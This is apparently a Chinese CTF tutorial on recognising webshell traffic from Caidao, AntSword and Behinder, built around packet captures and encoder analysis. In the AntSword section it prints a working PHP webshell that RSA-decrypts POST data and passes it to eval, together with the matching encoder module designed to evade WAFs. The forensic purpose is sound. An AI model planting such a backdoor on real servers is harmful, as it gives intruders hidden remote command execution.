Webshell流量深入理解

Webshell流量深入理解

Webshell流量,指的是攻击者在已经获取一个Web服务器的部分权限后,通过上传的Webshell后门脚本与服务器进行交互时,所产生的网络通信数据。

首先,攻击者通过漏洞(如文件上传漏洞、命令注入漏洞等)将一个Webshell脚本文件(如 shell.phpbackdoor.jsp)放到了网站的目录下。这个Webshell脚本就是一个驻留在服务器上的后门

攻击者通过客户端(专用连接工具)向这个Webshell脚本发送命令,服务器就可以执行攻击者想要执行的命令。

简单来说:

Webshell流量 = 攻击者通过Web后门(Webshell)远程控制服务器时,产生的“指令”和“结果”数据流。

通过分析webshell流量,就可以知道攻击者的意图和攻击手法

一般CTF中,根据客户端连接工具的不同,常见的流量有: 菜刀,蚁剑,冰蝎,哥斯拉,CobalStrike(CS流量)等。

菜刀流量

中国菜刀

https://github.com/raddyfiy/caidao-official-version

中国菜刀是一款功能强大的webshell工具,可以用来获取目标网站的文件系统,获取目标的shell进行命令执行操作,进行数据库操作等。常见版本有三个:

分别为2011版,2014版,2016版

流量特征

菜刀流量通常即指使用菜刀工具所产生的webshell流量

流量特征一般为:

  1. 请求体: 通常是base64加密过再URL编码后的数据
  2. 利用方式: 主要是eval函数
  3. 响应体: 通常数据被包含在->| |<-符号中,这是菜刀最显著的一个特征

例题

buuctf:菜刀666

打开流量包追踪流:

image-20251102134054182

可以发现,在请求内容里,主要利用的是eval函数/assert函数,所有参数都经过base64编码,使用base64_decode函数。而响应内容是带 ->| |<-分隔符的

其次,如果多看几个流量,还会发现参数名上也有一些特征:参数名通常是命名为z1、z2、z3……通常 z0用于设置环境变量、z1为密码、z2为执行的命令。

这些就是菜刀流量的特征了,由于只是base64编码内容或直接呈现明文,因此流量分析过程简单。

以上题为例,追踪流很容易发现传输的文件:

image-20251102153817421

提取出图片后得到key,再解密foremost提取出的压缩包,即可得到flag

蚁剑流量

蚁剑

中国蚁剑(AntSword) 是一款开源、跨平台的 WebShell 管理工具,支持 PHP、ASP、ASPX、JSP 等常见脚本语言。它是渗透测试人员和安全研究员常用的 Web 持久化控制平台之一,主要用于管理目标服务器上的 WebShell,实现文件管理、命令执行、数据库操作等功能。

流量特征

还是先介绍一下特征,以便我们如何得知这是一个蚁剑流量:

编解码器:

相比菜刀使用明文/弱编码(Base64),使用固定分隔符|<-,极易被waf拦截,蚁剑主要改进的功能是编码解码器。

蚁剑的编码解码器是蚁剑中用于加密和解密与服务器通信数据的组件,它能将蚁剑发送的请求和接收的响应数据进行混淆(如Base64、rot13、自定义算法等),以绕过WAF等安全防护,实现隐蔽的命令执行和数据传输。编码器处理发往服务器的流量,而解码器处理从服务器返回的流量。

蚁剑的默认编码/解码器:

image-20251103163938735

一. default

选择编/解码器选着default时,不对传输的Payload进行任何操作。

这里我搭建了一个文件上传靶场,传入一句话木马并抓取蚁剑的连接流量:

因为蚁剑是http 协议post请求,对http数据流进行追踪,可以找到数据交互的过程。

image-20251103172001510

可以发现payload只进行了URL编码,可以使用工具轻松解码:

image-20251103172142040

同时,我们也看到了一些特征:

  1. 蚁剑带了明显的特征函数@ini_set(“display_errors”,”0”);
  2. 在响应的回显结果中,发现前后各有一串随机字符串(这是蚁剑为了对抗安全检测而设计的混淆手段)
二. base64编码器

请求响应流量如下:

image-20251103173652384

可以发现,当选择编/解码器选着base64时,蚁剑会将payload经过base64编码再经过URL编码后赋值给一个随机字符串

然后将这个随机字符串的值通过POST方法传入eval函数再base64解码,通过eval函数执行。

其余的特征不变,包括响应值中依旧前后会有随机的字符串:

image-20251103174039711

三. chr编码器

请求响应流量如下:

image-20251103174357217

可以发现,当编码器选择chr的时候,蚁剑会对payload的所有字符都利用利用chr函数进行转换,其余的特征均相同

四. php RSA编码器

配置rsa编码器:

  1. 生成rsa密钥和php代码:

image-20260127131319066

其中php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYT
RtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YE
QPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Ca
r4yKSRFlJ8IKXdKy5wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
  1. 接着新建一个php rsa编码器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* php::RSA编码器
* Create at: 2026/01/27 13:13:41
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}

分析编码器,可以发现:

主要逻辑是将原始 payload 分割成多个块,分别使用 RSA 私钥加密,然后将加密结果用 “|” 连接起来。

  • pwd: 连接密码,用于指定加密后数据存放的键名
  • data: 包含原始 payload 的对象
  • ext: 扩展对象,包含 RSA 加密器(ext['rsa']
  1. 测试传shell并捕获流量:

image-20260127132032767

image-20260127132242542

首先分析发现,在POST请求中有多个参数:

image-20260127154353934

其中有一个固定的参数是ant

它的值是通过上述的rsa进行加密的:

可以使用公钥进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$ant = 'xxx';
$ant = urldecode($ant);

$pubkey = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYT
RtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YE
QPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Ca
r4yKSRFlJ8IKXdKy5wIDAQAB
-----END PUBLIC KEY-----
EOF;

$pk = openssl_pkey_get_public($pubkey);
if ($pk === false) {
die('Invalid public key');
}

$chunks = explode('|', $ant);

$cmd = '';

foreach ($chunks as $chunk) {

$decrypted = '';

$bin = base64_decode($chunk, true);
if ($bin === false) {
continue;
}

$ok = openssl_public_decrypt(
$bin,
$decrypted,
$pk,
OPENSSL_PKCS1_PADDING
);

if ($ok === true) {
$cmd .= $decrypted;
}
}

echo $cmd;

1
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6fa00ad71f1b";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$igetMessage();};asoutput();die();

待更新……

四. 其它
  • chr16编码器:对payload的所有字符都利用chr函数转换,但是对chr函数传递的参数是十六进制。
  • rot13编码器:对payload中的字母进行rot13转换。

冰蝎流量

冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,冰蝎当中 shell 是通过传输协议配置的

可以看到有以下协议:

image-20251105124214340

冰蝎 4.0 通信流程如下:

密钥协商

1
2
3
1、攻击者首先通过GET或者POST传参的方法对服务器请求密钥,譬如:http://127.0.0.1/webshell.aspx?password=6

2、服务器使用生成的随机数的MD5值的前十六位当作密钥K并且存储在全局变量$_SESSION中,并且发给攻击者

加密传输

1
2
3
4
5
1、攻击者得到了密钥K,将K作为密钥进行AES128或者异或加密加密手法将执行命令发送到服务段

2、服务端得到密文之后使用K进行解密

3、将得到的执行结果使用K进行AES加密之后传回攻击者

image-20251110133125398

待更新ing……